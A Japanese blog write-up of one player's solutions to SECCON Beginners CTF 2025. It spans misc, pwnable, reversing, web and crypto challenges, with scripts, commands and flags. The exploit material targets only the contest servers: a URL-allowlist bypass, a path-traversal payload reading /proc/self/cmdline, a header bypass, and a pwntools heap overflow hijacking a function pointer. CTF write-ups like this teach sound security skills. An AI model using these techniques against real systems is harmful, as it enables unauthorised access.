以下の内容はhttps://yocchin.hatenablog.com/entry/2025/07/29/075625より取得しました。


SECCON Beginners CTF 2025 Writeup

この大会は2024/7/26 14:00(JST)~2024/7/27 14:00(JST)に開催されました。
今回は個人で参戦。結果は1672点で880チーム中229位でした。
自分で解けた問題をWriteupとして書いておきます。

welcome (welcome)

問題にフラグが書いてあった。

ctf4b{W3lc0m3_2_SECCON_Beginners_CTF_2025}

kingyo_sukui (misc)

script.jsに以下のように書いてある。

class FlagGame {
  constructor() {
    this.encryptedFlag = "CB0IUxsUCFhWEl9RBUAZWBM=";
    this.secretKey = "a2luZ3lvZmxhZzIwMjU=";
    this.flag = this.decryptFlag();
        :
  decryptFlag() {
    try {
      const key = atob(this.secretKey);
      const encryptedBytes = atob(this.encryptedFlag);
      let decrypted = "";
      for (let i = 0; i < encryptedBytes.length; i++) {
        const keyChar = key.charCodeAt(i % key.length);
        const encryptedChar = encryptedBytes.charCodeAt(i);
        decrypted += String.fromCharCode(encryptedChar ^ keyChar);
      }
      return decrypted;
    } catch (error) {
      return "decrypt error";
    }
        :

script.jsのencryptedFlagのbase64デコードしたものとsecretKeyのbase64デコードしたものをXORすればよい。

>>> from base64 import *
>>> encryptedFlag = "CB0IUxsUCFhWEl9RBUAZWBM="
>>> secretKey = "a2luZ3lvZmxhZzIwMjU="
>>> key = b64decode(secretKey)
>>> encryptedBytes = b64decode(encryptedFlag)
>>> ''.join([chr(encryptedBytes[i] ^ key[i % len(key)]) for i in range(len(encryptedBytes))])
'ctf4b{n47uma7ur1}'
ctf4b{n47uma7ur1}

url-checker (misc)

"example.com"と一致しない、"example.com"から始まるドメインを指定すればよい。

$ nc url-checker.challenges.beginners.seccon.jp 33457

 _   _ ____  _        ____ _               _             
| | | |  _ \| |      / ___| |__   ___  ___| | _____ _ __ 
| | | | |_) | |     | |   | '_ \ / _ \/ __| |/ / _ \ '__|
| |_| |  _ <| |___  | |___| | | |  __/ (__|   <  __/ |   
 \___/|_| \_\_____|  \____|_| |_|\___|\___|_|\_\___|_|   

allowed_hostname = "example.com"                                                         
>> Enter a URL: http://example.comment.com
Valid URL :)
Flag: ctf4b{574r75w17h_50m371m35_n07_53cur37}
ctf4b{574r75w17h_50m371m35_n07_53cur37}

url-checker2 (misc)

ローカルでいろいろと試したところ、以下のことが確認できた。

>>> url = 'http://example.com:80@example.comment.com'
>>> parsed = urlparse(url)
>>> parsed.netloc
'example.com:80@example.comment.com'
>>> parsed.netloc.split(':')[0]
'example.com'
>>> parsed.hostname
'example.comment.com'

これで条件を満たすことがわかった。

$ nc url-checker2.challenges.beginners.seccon.jp 33458

 _   _ ____  _        ____ _               _            ____  
| | | |  _ \| |      / ___| |__   ___  ___| | _____ _ _|___ \ 
| | | | |_) | |     | |   | '_ \ / _ \/ __| |/ / _ \ '__|__) |
| |_| |  _ <| |___  | |___| | | |  __/ (__|   <  __/ |  / __/ 
 \___/|_| \_\_____|  \____|_| |_|\___|\___|_|\_\___|_| |_____|
                                                              
allowed_hostname = "example.com"                                                         
>> Enter a URL: http://example.com:80@example.comment.com
Valid URL :)
Flag: ctf4b{cu570m_pr0c3551n6_0f_url5_15_d4n63r0u5}
ctf4b{cu570m_pr0c3551n6_0f_url5_15_d4n63r0u5}

pet_name (pwnable)

BOF脆弱性があり、任意の32バイトの後に"/home/pwn/flag.txt"を入力すればよい。

$ nc pet-name.challenges.beginners.seccon.jp 9080
Your pet name?: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/home/pwn/flag.txt
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/home/pwn/flag.txt sound: ctf4b{3xp1oit_pet_n4me!}
ctf4b{3xp1oit_pet_n4me!}

pet_sound (pwnable)

$ nc pet-sound.challenges.beginners.seccon.jp 9090
--- Pet Hijacking ---
Your mission: Make Pet speak the secret FLAG!

[hint] The secret action 'speak_flag' is at: 0x57eba56a1492
[*] Pet A is allocated at: 0x57ebe2ea92a0
[*] Pet B is allocated at: 0x57ebe2ea92d0

[Initial Heap State]

--- Heap Layout Visualization ---
0x000057ebe2ea92a0: 0x000057eba56a15d2 <-- pet_A->speak
0x000057ebe2ea92a8: 0x00002e2e2e6e6177 <-- pet_A->sound
0x000057ebe2ea92b0: 0x0000000000000000
0x000057ebe2ea92b8: 0x0000000000000000
0x000057ebe2ea92c0: 0x0000000000000000
0x000057ebe2ea92c8: 0x0000000000000031
0x000057ebe2ea92d0: 0x000057eba56a15d2 <-- pet_B->speak (TARGET!)
0x000057ebe2ea92d8: 0x00002e2e2e6e6177 <-- pet_B->sound
0x000057ebe2ea92e0: 0x0000000000000000
0x000057ebe2ea92e8: 0x0000000000000000
0x000057ebe2ea92f0: 0x0000000000000000
0x000057ebe2ea92f8: 0x0000000000020d11
---------------------------------

Input a new cry for Pet A >

pet_A->soundのサイズは32バイトだが、50バイト読み込むようになっている。任意の文字を40バイト入力した後に、speak_flagのアドレスを書き込めばよい。

#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('pet-sound.challenges.beginners.seccon.jp', 9090)
else:
    p = process('./chall')

for _ in range(4):
    data = p.recvline().decode().rstrip()
    print(data)

speak_flag_addr = int(data.split(' ')[-1], 16)

payload = b'A' * 40
payload += p64(speak_flag_addr)

data = p.recvuntil(b'> ').decode()
print(data, end='')
print(payload)
p.sendline(payload)

for _ in range(17):
    data = p.recvline().decode().rstrip()
    print(data)

data = p.recvline().rstrip()
print(data)

for _ in range(5):
    data = p.recvline().decode().rstrip()
    print(data)

実行結果は以下の通り。

[+] Opening connection to pet-sound.challenges.beginners.seccon.jp on port 9090: Done
--- Pet Hijacking ---
Your mission: Make Pet speak the secret FLAG!

[hint] The secret action 'speak_flag' is at: 0x5a3ebfcc7492
[*] Pet A is allocated at: 0x5a3edc54a2a0
[*] Pet B is allocated at: 0x5a3edc54a2d0

[Initial Heap State]

--- Heap Layout Visualization ---
0x00005a3edc54a2a0: 0x00005a3ebfcc75d2 <-- pet_A->speak
0x00005a3edc54a2a8: 0x00002e2e2e6e6177 <-- pet_A->sound
0x00005a3edc54a2b0: 0x0000000000000000
0x00005a3edc54a2b8: 0x0000000000000000
0x00005a3edc54a2c0: 0x0000000000000000
0x00005a3edc54a2c8: 0x0000000000000031
0x00005a3edc54a2d0: 0x00005a3ebfcc75d2 <-- pet_B->speak (TARGET!)
0x00005a3edc54a2d8: 0x00002e2e2e6e6177 <-- pet_B->sound
0x00005a3edc54a2e0: 0x0000000000000000
0x00005a3edc54a2e8: 0x0000000000000000
0x00005a3edc54a2f0: 0x0000000000000000
0x00005a3edc54a2f8: 0x0000000000020d11
---------------------------------

Input a new cry for Pet A > b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x92t\xcc\xbf>Z\x00\x00'

[Heap State After Input]

--- Heap Layout Visualization ---
0x00005a3edc54a2a0: 0x00005a3ebfcc75d2 <-- pet_A->speak
0x00005a3edc54a2a8: 0x4141414141414141 <-- pet_A->sound
0x00005a3edc54a2b0: 0x4141414141414141
0x00005a3edc54a2b8: 0x4141414141414141
0x00005a3edc54a2c0: 0x4141414141414141
0x00005a3edc54a2c8: 0x4141414141414141
0x00005a3edc54a2d0: 0x00005a3ebfcc7492 <-- pet_B->speak (TARGET!)
0x00005a3edc54a2d8: 0x00002e2e2e6e610a <-- pet_B->sound
0x00005a3edc54a2e0: 0x0000000000000000
0x00005a3edc54a2e8: 0x0000000000000000
0x00005a3edc54a2f0: 0x0000000000000000
0x00005a3edc54a2f8: 0x0000000000020d11
---------------------------------
b'Pet says: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x92t\xcc\xbf>Z'

**********************************************
* Pet suddenly starts speaking flag.txt...!? *
* Pet: "ctf4b{y0u_expl0it_0v3rfl0w!}" *
**********************************************
[*] Closed connection to pet-sound.challenges.beginners.seccon.jp port 9090
ctf4b{y0u_expl0it_0v3rfl0w!}

CrazyLazyProgram1 (reversing)

csのコードを整形すると、以下のようになる。

using System;
class Program {
    static void Main() {
        int len=0x23;
        Console.Write("INPUT > ");
        string flag=Console.ReadLine();
        if((flag.Length)!=len) {
            Console.WriteLine("WRONG!");
        } else {
            if(flag[0]==0x63&&flag[1]==0x74&&flag[2]==0x66&&flag[3]==0x34&&flag[4]==0x62&&flag[5]==0x7b&&flag[6]==0x31&&flag[7]==0x5f&&flag[8]==0x31&&flag[9]==0x69&&flag[10]==0x6e&&flag[11]==0x33&&flag[12]==0x72&&flag[13]==0x35&&flag[14]==0x5f&&flag[15]==0x6d&&flag[16]==0x61&&flag[17]==0x6b&&flag[18]==0x33&&flag[19]==0x5f&&flag[20]==0x50&&flag[21]==0x47&&flag[22]==0x5f&&flag[23]==0x68&&flag[24]==0x61&&flag[25]==0x72&&flag[26]==0x64&&flag[27]==0x5f&&flag[28]==0x32&&flag[29]==0x5f&&flag[30]==0x72&&flag[31]==0x33&&flag[32]==0x61&&flag[33]==0x64&&flag[34]==0x7d) {
                Console.WriteLine("YES!!!\nThis is Flag :)");
            } else {
                Console.WriteLine("WRONG!");
            }
        }
    }
}

条件にあるASCIIコードを順に文字にして並べればよい。

>>> s = [0x63, 0x74, 0x66, 0x34, 0x62, 0x7b, 0x31, 0x5f, 0x31, 0x69, 0x6e, 0x33, 0x72, 0x35, 0x5f, 0x6d, 0x61, 0x6b, 0x33, 0x5f, 0x50, 0x47, 0x5f, 0x68, 0x61, 0x72, 0x64, 0x5f, 0x32, 0x5f, 0x72, 0x33, 0x61, 0x64, 0x7d]
>>> ''.join([chr(c) for c in s])
'ctf4b{1_1in3r5_mak3_PG_hard_2_r3ad}'
ctf4b{1_1in3r5_mak3_PG_hard_2_r3ad}

CrazyLazyProgram2 (reversing)

Ghidraでデコンパイルする。

void main(void)

{
  char local_38;
  char cStack_37;
  char cStack_36;
  char cStack_35;
  char cStack_34;
  char cStack_33;
  char cStack_32;
  char cStack_31;
  char cStack_30;
  char cStack_2f;
  char cStack_2e;
  char cStack_2d;
  char cStack_2c;
  char cStack_2b;
  char cStack_2a;
  char cStack_29;
  char cStack_28;
  char cStack_27;
  char cStack_26;
  char cStack_25;
  char cStack_24;
  char cStack_23;
  char cStack_22;
  char cStack_21;
  char cStack_20;
  char cStack_1f;
  char cStack_1e;
  char cStack_1d;
  char cStack_1c;
  char cStack_1b;
  char cStack_1a;
  char cStack_19;
  char cStack_18;
  undefined4 local_c;
  
  printf("Enter the flag: ");
  __isoc99_scanf(&DAT_001003c6,&local_38);
  local_c = 0;
  if (((((((((local_38 == 'c') && (local_c = 1, cStack_37 == 't')) &&
           (local_c = 2, cStack_36 == 'f')) &&
          (((local_c = 3, cStack_35 == '4' && (local_c = 4, cStack_34 == 'b')) &&
           ((local_c = 5, cStack_33 == '{' &&
            ((local_c = 6, cStack_32 == 'G' && (local_c = 7, cStack_31 == 'O')))))))) &&
         (local_c = 8, cStack_30 == 'T')) &&
        (((((local_c = 9, cStack_2f == 'O' && (local_c = 10, cStack_2e == '_')) &&
           (local_c = 0xb, cStack_2d == 'G')) &&
          ((local_c = 0xc, cStack_2c == '0' && (local_c = 0xd, cStack_2b == 'T')))) &&
         (local_c = 0xe, cStack_2a == '0')))) &&
       (((local_c = 0xf, cStack_29 == '_' && (local_c = 0x10, cStack_28 == '9')) &&
        (((local_c = 0x11, cStack_27 == '0' &&
          (((local_c = 0x12, cStack_26 == 't' && (local_c = 0x13, cStack_25 == '0')) &&
           (local_c = 0x14, cStack_24 == '_')))) &&
         (((local_c = 0x15, cStack_23 == 'N' && (local_c = 0x16, cStack_22 == '0')) &&
          (local_c = 0x17, cStack_21 == 'm')))))))) &&
      (((local_c = 0x18, cStack_20 == '0' && (local_c = 0x19, cStack_1f == 'r')) &&
       ((local_c = 0x1a, cStack_1e == '3' &&
        (((local_c = 0x1b, cStack_1d == '_' && (local_c = 0x1c, cStack_1c == '9')) &&
         (local_c = 0x1d, cStack_1b == '0')))))))) &&
     (((local_c = 0x1e, cStack_1a == 't' && (local_c = 0x1f, cStack_19 == '0')) &&
      (local_c = 0x20, cStack_18 == '}')))) {
    puts("Flag is correct!");
  }
  return;
}

local_38, cStack_37, ... と順に条件の文字を並べていけばよい。

ctf4b{GOTO_G0T0_90t0_N0m0r3_90t0}

D-compile (reversing)

Ghidraでデコンパイルする。

undefined8 _Dmain(void)

{
  char cVar1;
  undefined8 *puVar2;
  undefined auVar3 [16];
  
  puVar2 = (undefined8 *)_d_arrayliteralTX(&_D11TypeInfo_Aa6__initZ,0x20);
  *puVar2 = 0x334e7b6234667463;
  puVar2[1] = 0x646e3372545f7478;
  puVar2[2] = 0x75396e61315f445f;
  puVar2[3] = 0x7d3130315f336761;
  _D3std5stdio__T7writelnTAyaZQnFNfQjZv(0xb,"input flag>");
  auVar3 = _D3std5stdio__T6readlnTAyaZQmFwZQj(10);
  cVar1 = _D4core8internal5array8equality__T8__equalsTaTaZQoFNaNbNiNeMxAaMxQeZb
                    (auVar3._0_8_,auVar3._8_8_,0x20,puVar2);
  if (cVar1 == '\0') {
    _D3std5stdio__T7writelnTAyaZQnFNfQjZv(0xd,"this is wrong");
  }
  else {
    _D3std5stdio__T7writelnTAyaZQnFNfQjZv(0x1e,"way to go! this is the flag :)");
  }
  return 0;
}

puVar2と比較してるようなので、文字にしていく。

>>> (0x334e7b6234667463).to_bytes(8, 'little')
b'ctf4b{N3'
>>> (0x646e3372545f7478).to_bytes(8, 'little')
b'xt_Tr3nd'
>>> (0x75396e61315f445f).to_bytes(8, 'little')
b'_D_1an9u'
>>> (0x7d3130315f336761).to_bytes(8, 'little')
b'ag3_101}'
ctf4b{N3xt_Tr3nd_D_1an9uag3_101}

wasm_S_exp (reversing)

watファイルが添付されているので、内容を見ていく。
stir関数は以下の式で表される。

stir(x) = 1024 + ((23 + 37 * (x ^ 0x5a5a)) % 101)

各チェックのブロックは以下の形式になっている。

    i32.const <expected_byte_value>
    i32.const <input_index>
    call $stir
    i32.load8_u
    i32.ne
    if
      i32.const 0
      return
    end

このことからメモリ状態を再現し、フラグを取得する。

def stir(x):
    return 1024 + ((23 + 37 * (x ^ 0x5a5a)) % 101)

checks = [
    (0x7b, 38), (0x67, 20), (0x5f, 46), (0x21, 3), (0x63, 18),
    (0x6e, 119), (0x5f, 51), (0x79, 59), (0x34, 9), (0x57, 4),
    (0x35, 37), (0x33, 12), (0x62, 111), (0x63, 45), (0x7d, 97),
    (0x30, 54), (0x74, 112), (0x31, 106), (0x66, 43), (0x34, 17),
    (0x34, 98), (0x54, 120), (0x5f, 25), (0x6c, 127), (0x41, 26),
]

memory = [0] * 2048

for val, idx in checks:
    addr = stir(idx)
    memory[addr] = val

flag_bytes = [b for b in memory if b != 0]
flag = ''.join(chr(b) for b in flag_bytes)
print(flag)
ctf4b{WAT_4n_345y_l0g1c!}

skipping (web)

HTTPヘッダの"x-ctf4b-request"に"ctf4b"を設定して、/flagにアクセスすればフラグが得られる。

$ curl http://skipping.challenges.beginners.seccon.jp:33455/flag -H "x-ctf4b-request: ctf4b"
ctf4b{y0ur_5k1pp1n6_15_v3ry_n1c3}
ctf4b{y0ur_5k1pp1n6_15_v3ry_n1c3}

log-viewer (web)

access.logを見ようとすると、以下のURLに遷移する。

http://log-viewer.challenges.beginners.seccon.jp:9999/?file=access.log

さらに該当するファイルは以下のパスになっている。

logs/access.log

いろいろとfileに指定するファイルを試したところ、以下のパスの時にフラグが得られた。

http://log-viewer.challenges.beginners.seccon.jp:9999/?file=../../proc/self/cmdline

得られた結果は以下の通り。

/usr/local/bin/log-viewer-port=9999-flag=ctf4b{h1dd1ng_1n_cmdl1n3_m4y_b3_r34d4bl3}
ctf4b{h1dd1ng_1n_cmdl1n3_m4y_b3_r34d4bl3}

seesaw (crypto)

RSA暗号だが、nの素因数の片方が小さいため、nを容易に素因数分解ができる。あとは通常通り復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *
from sympy import *

with open('output.txt', 'r') as f:
    params = f.read().splitlines()

n = int(params[0].split(' ')[-1])
c = int(params[1].split(' ')[-1])
e = 65537

fac = factorint(n)
phi = 1
for k, _ in fac.items():
    phi *= k - 1

d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m).decode()
print(flag)
ctf4b{unb4l4nc3d_pr1m35_4r3_b4d}

01-Translator (crypto)

flagを数値化したものの2進数で"0", "1"をそれぞれ置換する文字列を指定し、AES ECB暗号化して表示させる。それぞれ16バイトの文字列に変えれば、パディング文字を除き、ブロック単位で2種類の暗号化結果になるので、bit列を判別でき、フラグを復号できる。

#!/usr/bin/env python3
import socket
from Crypto.Util.number import *

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('01-translator.challenges.beginners.seccon.jp', 9999))

trans_0 = 'A' * 16
trans_1 = 'B' * 16
data = recvuntil(s, b'> ')
print(data + trans_0)
s.sendall(trans_0.encode() + b'\n')
data = recvuntil(s, b'> ')
print(data + trans_1)
s.sendall(trans_1.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
ct = data.split(' ')[-1]
blocks = [ct[i:i+32] for i in range(0, len(ct), 32)]

flag_bin = '0'
one = blocks[0]
for block in blocks[:-1]:
    if block == one:
        flag_bin += '1'
    else:
        flag_bin += '0'

flag = ''
for i in range(0, len(flag_bin), 8):
    flag += chr(int(flag_bin[i:i+8], 2))
print(flag)

実行結果は以下の通り。

translations for 0> AAAAAAAAAAAAAAAA
translations for 1> BBBBBBBBBBBBBBBB
ct: cbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380c27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bcbf44fa17e487b799ae8efd1977d3c3bc27c1fff8237da957051f92390a18380cbf44fa17e487b799ae8efd1977d3c3bc342f496b5a78f9bd908e253cab096b1
ctf4b{n0w_y0u'r3_4_b1n4r13n}
ctf4b{n0w_y0u'r3_4_b1n4r13n}

Elliptic4b (crypto)

サーバの処理の概要は以下の通り。

・y: secp256k1.p未満のランダム整数
・yを表示
・x: 数値入力
・(x, y)がsecp256k1の楕円曲線上にない場合エラー
・a: 数値入力
・P = Point(x, y, secp256k1)
・Q = a * P
・aが0より小さい場合、エラー
・P.xとQ.xが異なる場合、エラー
・P.yとQ.yが同じ場合、エラー
・フラグを表示

SageMathでyからxを求める。a = -1の場合、Q=-Pとなり、x座標は同じでy座標が反転する。ただし、a<0の場合はNGのため、secp256k1.q - 1を指定すればよい。

#!/usr/bin/env sage
import socket
from fastecdsa.curve import secp256k1

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('elliptic4b.challenges.beginners.seccon.jp', 9999))

data = recvuntil(s, b'\n').rstrip()
print(data)
y = int(data.split(' ')[-1])

p = secp256k1.p
b = secp256k1.b
q = secp256k1.q

z = (y^2 - b) % p

Fp = GF(p)
R.<x> = PolynomialRing(Fp)

f = x^3 - z
roots = f.roots()

if roots:
    for x, _ in roots:
        x = int(x)
else:
    print('No solution found.')
    exit(1)

data = recvuntil(s, b'= ')
print(data + str(x))
s.sendall(str(x).encode() + b'\n')

a = q - 1
data = recvuntil(s, b'= ')
print(data + str(a))
s.sendall(str(a).encode() + b'\n')

data = recvuntil(s, b'\n').rstrip()
print(data)

実行結果は以下の通り。

y = 102226187870597146326365948300577683230107999979598730954705257190768787556568
x = 32205466591662418276667654062017011621251379200565449364287817994167452194390
a = 115792089237316195423570985008687907852837564279074904382605163141518161494336
flag = ctf4b{1et'5_b3c0m3_3xp3r7s_1n_3ll1p71c_curv35!}
ctf4b{1et'5_b3c0m3_3xp3r7s_1n_3ll1p71c_curv35!}



以上の内容はhttps://yocchin.hatenablog.com/entry/2025/07/29/075625より取得しました。
このページはhttp://font.textar.tv/のウェブフォントを使用してます

不具合報告/要望等はこちらへお願いします。
モバイルやる夫Viewer Ver0.14